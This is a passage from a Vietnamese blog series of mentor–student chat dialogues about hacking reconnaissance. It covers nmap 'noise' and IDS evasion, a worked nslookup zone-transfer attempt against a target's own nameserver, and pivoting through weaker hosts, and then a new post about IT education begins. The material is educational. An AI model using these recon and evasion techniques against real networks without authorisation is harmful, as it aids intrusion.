&lt;br /&gt;&lt;span class="postbody"&gt;"Anh không thể nói rõ có bao nhiêu cách  vì anh không biết thật sự có bao nhiêu cách. Cái này tùy vào tính linh động và  khả năng sáng tạo thôi em. Anh cũng không thể trả lời em là nên dùng công cụ  nào. Chỉ có chính em tự tay dùng rồi chọn lấy một hoặc nhiều công cụ em thích mà  thôi. Có những công cụ 'gom' luôn các công đoạn xác định hệ điều hành, xác định  các dịch vụ đang chạy (open ports) thậm chí lấy luôn cả phiên bản của software  cung cấp dịch vụ. Tuy nhiên, công cụ nào cũng có ưu khuyết điểm cả. Ví dụ  nmap là một port scanner rất độc đáo, nó có thể thực hiện ba điều ở trên  cùng một lúc nhưng nếu dùng không đúng mức thì nó sẽ rất 'ồn ào' vì nó không  những 'active' mà 'extremely active'. Những hệ thống có trang bị IDS, IPS sẽ  phát hiện ngay là có nmap đang dò dẫm và đây là điều bất lợi cho việc thăm dò."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' phát biểu:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"À, vậy nmap là công cụ thuộc dạng 'active' rồi. Em phải ghi nhớ  chuyện này." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, nói:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Không hẳn là như vậy đâu em. Anh nói là nếu  dùng không đúng mức thì nó sẽ rất 'ồn ào' cơ mà. Nếu em dùng nó đúng mức, nó  không còn 'extremely active' nữa. Nó không phải 'passive' nhưng cũng không hẳn  là 'active' bởi vì em không tạo ra nhiều 'tiếng ồn' trong khi rà (nếu dùng đúng  mức)." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' cảm thán:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chẹp... chỉ có chuyện 'rà' không mà cũng lắm  nguyên tắc và công phu đến thế. Chắc lại phải học thêm nmap roài."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em có vẻ bồn chồn với chuyện làm quen với những công cụ mới hay  sao vậy Hưng? người ta viết hàng ngàn dòng code, xây dựng hàng trăm signature,  viết manual sẵn. Em chỉ có việc đọc và dùng mà còn rên rỉ sao em? Kiểu này bắt  đầu nguy rồi đó." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' đính chính lia  lịa:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hông, hông có đâu anh. Em thức sáng  đêm để quậy còn được mà. Ý em sau mỗi lần nói chuyện với anh là có thêm hàng  loạt thông tin mới, cả đống công cụ mới để thử, để làm quen. Em cảm thấy có một  phần sức ép nào đó để đuổi bắt với thông tin anh đưa ra thôi anh."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, vậy em còn muốn 'hack' không? Anh cũng cảm thấy điều đó  nên mấy anh em mình 'đà khía' ít thường xuyên hơn là thế. Em không nên nghĩ và  tự tạo sức ép cho mình là phải thông thạo, phải nắm vững các thông tin mới mẻ  ngay lập tức. Từ từ, thong thả thôi em." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' hỏi tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hồi nãy  anh nói đến vấn đề 'ồn', ồn ở đây là những dấu hiệu mà hệ thống phát hiện phải  không anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Đúng rồi đó em. 'Ồn' ở đây chính là những thông tin được ghi  nhận trong các log files của hệ thống hay các hệ thống phát hiện gần như 'real  time' như IDS/IPS đó. Mỗi dạng thăm dò thường có tính chất đặc thù và những đặc  thù đó được ghi nhận trên các hệ thống phòng thủ, còn gọi là 'signature'. Nếu  admin của hệ thống ấy bất thình lình thấy có hàng loạt cú 'rà' trên hệ thống của  mình thì coi như mục đích thăm dò và thâm nhập của ai đó bị hỏng. Nếu admin  không nhận thấy những dấu hiệu này mà IDS/IPS nhận thấy thì tình hình cũng chẳng  khác gì mấy. Không riêng gì nmap mà tất cả các software em dùng, cái nào cũng  'ồn' cả thôi. Chỉ có cái khác là em 'thấy' hay 'không thấy' được cái 'ồn' đó  thôi :). Để rà một máy con của một người đang duyệt web thì chẳng phải lo mấy  đến cái 'ồn' cả vì họ hiếm khi 'thấy' được sự 'ồn' đó. Tuy nhiên, để rà và thăm  dò một máy chủ, một mục tiêu đáng để thâm nhập hay đáng để bảo vệ thì mỗi  chi tiết 'ồn' đều là dấu hiệu quan trọng." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' thắc mắc:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Để khỏi  bị 'ồn', mình không cần thăm dò kỹ mà chỉ tấn công thẳng vào dịch vụ web thì sao  anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thì mình nắm phần thất bại nhiều hơn là thành công 'công chúa  xinh đẹp' ạ." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' phụng phịu:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ứ ừ, em hỏi thật mà anh cứ đùa hoài."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười phá lên và tiếp tục:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Á à, anh trả lời thật mà em cứ ngỡ anh đùa  hoài. Mình tấn công thẳng vào dịch vụ web là tấn công thế nào em? Mình không nắm  được nó mạnh, yếu chỗ nào thì mình chỉ 'đấm đá' kiểu 'bịt mắt' thôi thì có trúng  trật vào đâu nào? Cái này cũng giống như trường hợp 'ping of death' anh nói hồi  nãy thôi em. Nó cũng giống như muốn đục cánh cửa sắt của két tiền mà cứ dùng dùi  đục bằng gỗ mà phang vào cửa sắt thì chừng nào thủng được cái tủ? :)"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' giả lã:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hi hi, anh già vui tính ghê. Chắc em hỏi hơi ngớ ngẩn thật đa.  Lần sau em sẽ uốn lưỡi 7 lần trước khi hỏi cho chắc ăn." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Không em, em cứ  nói chuyện thoải mái. Có bất cứ ý nghĩ nào nảy ra trong đầu cứ phát biểu. Chuyện  đúng, sai, ngớ ngẩn không quan trọng mà quan trọng ở chỗ em rút tỉa được những  gì trước và sau khi đưa ra câu hỏi. Nếu em e dè quá thì cuộc đối thoại của mấy  anh em mình sẽ 'khô' như rơm thôi." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ. Em cứ  thế mà phang, anh chuẩn bị tinh thần đó nha." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' xen vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Không  biết em nhận xét những cái này có đúng hông, anh xem thử nha. Ví dụ muốn khám  phá các chi tiết thuộc về domain name của một host nào đó, mình có thể dùng một  công cụ online để xem mà không cần tiếp xúc trực tiếp từ máy của mình đến DNS  server của mục tiêu. Cái này gọi là thăm dò ở dạng 'passive' phải không anh?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Đúng lắm. Nó hoàn toàn 'passive' bởi vì em chỉ 'query' thông tin  một domain, một host nào đó trên một DNS database công cộng. Có thể DNS em đang  query sẽ liên hệ với authoritative DNS server của mục tiêu em đang thăm dò để  lấy thông tin, cũng có thể là không vì nó dùng thông tin có sẵn trong cache  không chừng. Dù gì đi chăng nữa, đây vẫn là dạng 'passive' bởi vì admin cũng như  hệ thống IDS của mục tiêu em muốn thăm dò đều không có cách gì biết được em đang  thăm dò. Những thông tin này thường ở dạng tổng quát và dành cho công cộng. Nó  cũng có ích để xác định một số điều. Tuy nhiên, để thăm dò DNS và hình thành cấu  trúc mạng của mục tiêu, đôi khi em phải chuyển sang dạng thăm dò 'active'."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' hỏi tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh ví dụ một kiểu thăm dò DNS ở dạng 'active' được không anh?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Được chớ em. Thông thường, em dùng nslookup trên windows  chẳng hạn, thì thế này: &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;C:&gt;\&gt; nslookup  &lt;server.domain.com&gt;&lt;/server.domain.com&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Cách này query  dùng default DNS server chính là DNS server nào em khai báo trên máy dùng để  phân giải tên miền. DNS server này có thể là DNS riêng do em tạo ra hoặc DNS  server do ISP cung cấp. Ở dạng đó, những điều được query cũng chỉ là những thông  tin dành cho công cộng mà thôi (cái này còn tùy thuộc vào sự chặt chẽ của người  thiết kế DNS, có những DNS chứa cả thông tin dàng cho công cộng lẫn thông tin  dành riêng cho nội mạng và đây là điều nên tránh). Tuy nhiên, nếu em 'chịu khó'  hơn một tí, thử như sau: &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;C:\&gt; nslookup  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&gt; set type=ns &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&gt; domain.com &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Server:  [172.16.114.163] &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Address: 172.16.114.163  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;domain.com nameserver = ns1.domain.com  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;domain.com nameserver = ns2.domain.com  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;ns1.domain.com internet address = 172.16.114.163  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;ns2.domain.com internet address = 172.17.124.174  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&gt; server ns1.domain.com &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&gt; ls -d domain.com &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;[[172.16.114.163]] &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;domain.com.  SOA ns1.domain.com hostmaster.domain.com. (1098357511 16384 2048 1048576 2560)  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;domain.com. NS ns1.domain.com &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;domain.com. NS ns2.domain.com &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;domain.com. MX 0 mail.domain.com &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;www A 172.16.114.160 &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;white A  172.16.114.161 &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;mail A 172.16.114.162  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;ns1 A 172.16.114.163 &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;ns2 A 172.17.124.174 &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;domain.com.  A 172.16.114.160 &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;blue A 172.16.114.163  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;red A 172.17.124.174 &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;domain.com. TXT "v=spf1 a mx ptr -all" &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;mail TXT "v=spf1 a -all" &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;domain.com. SOA ns1.domain.com hostmaster.domain.com. (1098357511  16384 2048 1048576 2560) &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Có gì đặc  biệt ở đây vậy em?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' ngần ngừ:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ùm... à.... hình như anh cố tình dùng chính DNS  của chính mục tiêu để query phải không anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Bravo! Đúng như  thế, nó nằm ở đây: &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&gt; server  ns1.domain.com &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&gt; ls -d domain.com  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;. &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Em biết lý  do tại sao không? Ngày nay, hầu hết các authoritative DNS đều không cho 'zone  transfer' một cách rộng rãi nữa vì quá nguy hại. Tuy nhiên, vẫn có các DNS  server cho phép những DNS server được 'tin cậy' thực hiện 'zone transfer'. Bởi  thế, mình mới 'láu cá' bằng cách mượn tay DNS server được 'tin cậy' để query  thông tin cho mình :). Nên nhớ là có những DNS server (primary và secondary)  hiện nay không còn cho phép thực hiện bước ở trên nữa vì họ không cho 'zone  transfer' ngay cả giữa primary và secondary." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' thắc mắc:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Query  DNS có gì mà quan trọng đến thế hở anh? Nãy giờ em ráng theo dõi nhưng bắt đầu  bị ù ù cạc cạc rồi đó. Có nhiều thông tin hoàn toàn mới mẻ đối với em cho nên  tóm gọn lại, em không rõ tại sao phải thu thập những thông tin này và để có thể  thu thập thông tin thì phải nắm bao nhiêu là kiến thức :(" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' xen vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Trong khi  anh nói, em cũng thử và thấy quả thật mình có thể thâu thập khá nhiều thông tin  qua DNS. Có khi query được, có khi không. Hình như mình có thể xác định một cách  tổng quát có bao nhiêu servers trong mô hình mạng mình muốn thăm dò. Em chưa rõ  bước kế tiếp thế nào nhưng em hình dung mình sẽ làm gì đó với những thông tin  thu thập được. Có thể dùng để phác thảo một mô hình mạng chăng?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Công chúa nhận xét đúng lắm. Tất nhiên là mọi thông tin đều cần  thiết cả, nếu không mình mất thời gian với chúng làm gì? Để hình thành mô hình  mạng của mục tiêu mình muốn thăm dò, việc thăm dò DNS chỉ cung cấp một phần  thông tin mà thôi. Em cần phải kết hợp với một số thông tin khác nữa. Cái này  mình sẽ bàn sau. Anh lấy ví dụ đơn giản thế này nha. Giả sử em muốn tấn công một  host X nhưng host này 'thủ' chặt quá. Thông thường thì em bó tay và bỏ cuộc. Tuy  nhiên, nếu em thăm dò rộng ra (bằng cách hình thành mô hình mạng) thì thấy rằng  host X nằm trong một nhóm host khác và một vài host ấy có thể thâm nhập được.  Nếu thâm nhập được một trong các host này thì cơ hội 'nhảy' sang host X thành  công cao hơn. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Cho dù em không thể thâm nhập  bất cứ host nào đi chăng nữa nhưng qua thông tin dò xét và thu thập được trong  quá trình recconnaissance, em có thể đi đến kết luận là nên tiếp tục hay nên bỏ  cuộc (để đỡ tốn thời gian). Nếu thấy mô hình mạng chặt chẽ quá, thấy có firewall  vững vàng, cách tốt nhất là bỏ cuộc để đỡ mất thời gian. Thật ra, nếu đã thông  thạo thì việc dò tìm thông tin xuyên qua DNS không mất quá nhiều thời gian đâu.  Đây chỉ là một bước rất nhỏ trong quá trình thăm dò. Vấn đề mình bàn ở đây là để  nhấn mạnh một điều quan trọng: tìm thông tin có rất nhiều cách, cách nào  nhanh nhất, có thông tin cụ thể nhất thì đó là cách thích hợp nhất."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' cảm thán:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Không ngờ bên trong recconnaissance đã có những điều lý thú đến  như thế. Em định hỏi thêm anh một số chi tiết về kết quả lấy được ở trên nhưng  chợt nhớ ask me why, don't ask me what nên em đã ghi chú một loạt thông  tin mà em cần phải tìm hiểu chi tiết sau. Cũng như Hưng, em bắt đầu thấy lùng  bùng rồi đó anh. Như anh nói, vậy là recconnaissance cũng sẽ dính với chuyện dò  dẫm cả firewall luôn sao anh? và đối với người phòng thủ thì nên làm thế nào? Về  việc anh đề cập tới host X ở trên, hình như anh muốn nói đến khía cạnh kiện toàn  bảo mật?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi trả lời:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chuyện dò dẫm firewall là chuyện không thể  thiếu nếu như firewall nằm trên đường thâm nhập rồi đó em. Thong thả rồi mình sẽ  bàn các chi tiết này sau, không thì em càng lùng bùng nữa. Chuyện phòng thủ thì  mình cũng sẽ bàn sau khi em đã 'thông' những chi tiết mình vừa 'đà khía'. Nên  nhớ rằng, 'thủ' ở đây là thực sự phòng thủ chớ không phải là những kỹ thuật nho  nhỏ dùng để dấu footprint không thôi nha. Mình sẽ đào sâu từ từ những chuyện này  (nếu bọn em còn hứng thú ;-) )." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti'  lên tiếng ngay lập tức:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Làm sao mà không  còn hứng thú được anh? Những thông tin này là tổng hợp của bao nhiêu điều lý  thú. Chắc em sẽ không bao giờ thâm nhập ai nhưng những kiến thức này chắc sẽ ích  lợi trong công việc về sau. Anh đừng lo tụi em hết hứng thú :)"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' cũng chêm thêm:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hay là anh .... nản thì có. Nói chuyện với bọn  em cái gì anh cũng phải giải thích. Gặp em, chắc em nản từ lâu rồi."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, nản hả? có gì mà nản em? Thỉnh thoảng vào 'đà khía' thế  này vui mà. Thôi, anh phải logoff đây. Ngồi dính một chỗ lâu quá rồi. Anh vẫn  còn ở nhà vài ngày tới, trưa trưa anh sẽ vào check mail mỗi ngày, đứa nào muốn  'đà khía' thì offline message cho anh một cái ha." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' cười, pha trò:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Í  cha, anh già rút... đẹp thiệt à nha. Ảnh rào câu áp chót, chuyển qua câu chót là  bye bye liền :). Mai em cũng rảnh á, em sẽ online chờ anh." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' hùa theo:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em cũng  vậy." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' thận trọng:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nếu không có gì đột xuất, em cũng sẽ online  luôn." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ừa, cũng khoảng giờ này hoặc sớm hơn vào ngày mai hả? Chào mấy  đứa." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;26/9/2005 &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;còn&gt;&lt;/còn&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Những cuộc đối thoại với rookie-8</title><link>http://blogthuthuatvn.blogspot.com/2009/10/nhung-cuoc-oi-thoai-voi-rookie-8.html</link><category>Câu chuyện IT</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Fri, 9 Oct 2009 02:08:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-1112068036482956455</guid><description>&lt;span style="font-family: arial; font-weight: bold; color: rgb(255, 0, 0);"&gt;11. Information? What the... &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Suốt vài tuần qua tôi quá bận rộn nên liên lạc rất qua loa với bộ ba Hưng, Khoa và Duy. Hình như các cậu cũng nhận ra được điều này nên offline messages và e-mail từ bộ ba này ít hẳn. Cũng có thể các cậu quá bận rộn nên không còn thời gian để hỏi han nữa. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Chiều nay rảnh rang, tôi đăng nhập vào YIM để xem offline messages và không ngờ bộ ba Hưng, Khoa, Duy đang online. Tôi chào 'cuti': &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hello Hưng, khoẻ hông em? Sao không học hành gì mà cứ 'trực' online hoài vậy?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' trả lời tôi bằng một 'conference invitation': &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hello anh già. Anh rảnh hông? Vào đây đi. Tụi em muốn hỏi vài chuyện được hông anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi chậc lưỡi, ngẫm nghĩ không biết mấy ông tướng này muốn hỏi gì. Hơn nữa tôi đang ở sở, vào YIM không tiện lắm. Thế nhưng tôi cũng tiếp nhận lời mời và mở đầu: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Được rồi, anh vào vài phút rồi phải dzọt vì anh đang ở sở đó nha!" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' chào và nhận định: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Chào anh, lâu ngày quá anh. Em thấy anh lúc nào cũng bận rộn vậy? Ngồi chơi với bọn em một tí thôi mà." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ừa, anh thì lúc nào cũng bận rộn. Anh hiện đang ở sở nên vào YIM không tiện lắm. Nếu anh đang ở nhà thì dễ rồi. Mấy đứa có chuyện gì cần thiết không?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' nhanh nhảu: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Dạ cũng không có gì. Bọn em vừa thi xong nên rảnh rang hơn trước, định tiếp tục 'làm phiền' anh đây :)." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'docco' cẩn thận: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em thấy mớ khái niệm và dẫn giải của anh trong những lần trước đây còn quá sức nhiều thứ để bọn em thử nghiệm và lãnh hội. Em không biết Hưng và Duy nghĩ sao chớ riêng em thì em cảm thấy như thế. Em sợ bị... 'bội thực' nếu không 'tiêu hoá' kịp :) nên có lẽ em sẽ không hỏi nhiều đâu." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em nói đúng đó. Thông tin xung quanh mình nhiều lắm nhưng cái quan trọng là dung nạp nó như thế nào. Có những điểm mình cần phải hiểu cặn kẽ, có những điểm mình chỉ cần tiếp nhận để tiếp tục khai mở. Tuy nhiên, nếu một lúc nào đó cảm thấy có cảm giác muốn 'bội thực' thì nên chậm lại và dành thời gian để tháo gỡ những khúc mắc trước khi đi tiếp." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Cả ba dường như đang trầm ngâm. Hồi lâu, 'cuti' lên tiếng: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em thấy thằng Duy nói đúng thật và anh ủng hộ nhận xét của nó là hoàn toàn chính xác. Cũng may là bọn em có điều kiện học hành căn cơ ở trường. Cho nên khi nhận ra những lổ hổng của chính mình trong khi trao đổi với anh, bọn em có thể 'lấp lổ' không đến nỗi cực nhọc. Điều em thấy rõ là chương trình giáo dục của nước mình có những điểm cần cải thiện. Em thấy thầy cô giáo ít chịu đào sâu hoặc giới thiệu những kiến thức, thông tin mới mẻ mà cứ theo cái giáo trình cũ rích mà lặp đi, lặp lại." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi thắc mắc: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Làm sao em biết được giáo trình em đang học cũ rích vậy? và nếu chương trình giáo dục của nước mình cần cải thiện thì cần làm những gì?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' Khoa xen vào: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hì hì, anh không biết đó thôi. Em dám chắc là anh không có giáo trình của trường em trong tay nên anh không rõ nó 'cũ rích' đến cỡ nào. Bọn em thì có thể truy cập Internet nên mày mò, lục lạo trên Internet, vào các trường đại học lớn trên thế giới thì thấy giáo trình của họ 'nặng' và mới hơn mình nhiều. Em chẳng thấy có mấy nước tân tiến còn dạy Pascal nữa. Trong khi đó ở VN mình, cứ chui đầu vào lập trình là dính ngay Pascal. Học mòn ghế vẫn cứ mấy cái chương trình 'đồ chơi' viết bằng Pascal chán như con gián. Lên một chút thì học VB. Ban đầu em còn thấy thích, sau đó mò vào các diễn đàn 'chuyên' về lập trình thì thấy bà con choảng nhau chí choé về VB. Em thấy phe chống cũng có lý vì học VB là học chương trình viết Visual Basic của Microsoft chớ chẳng phải 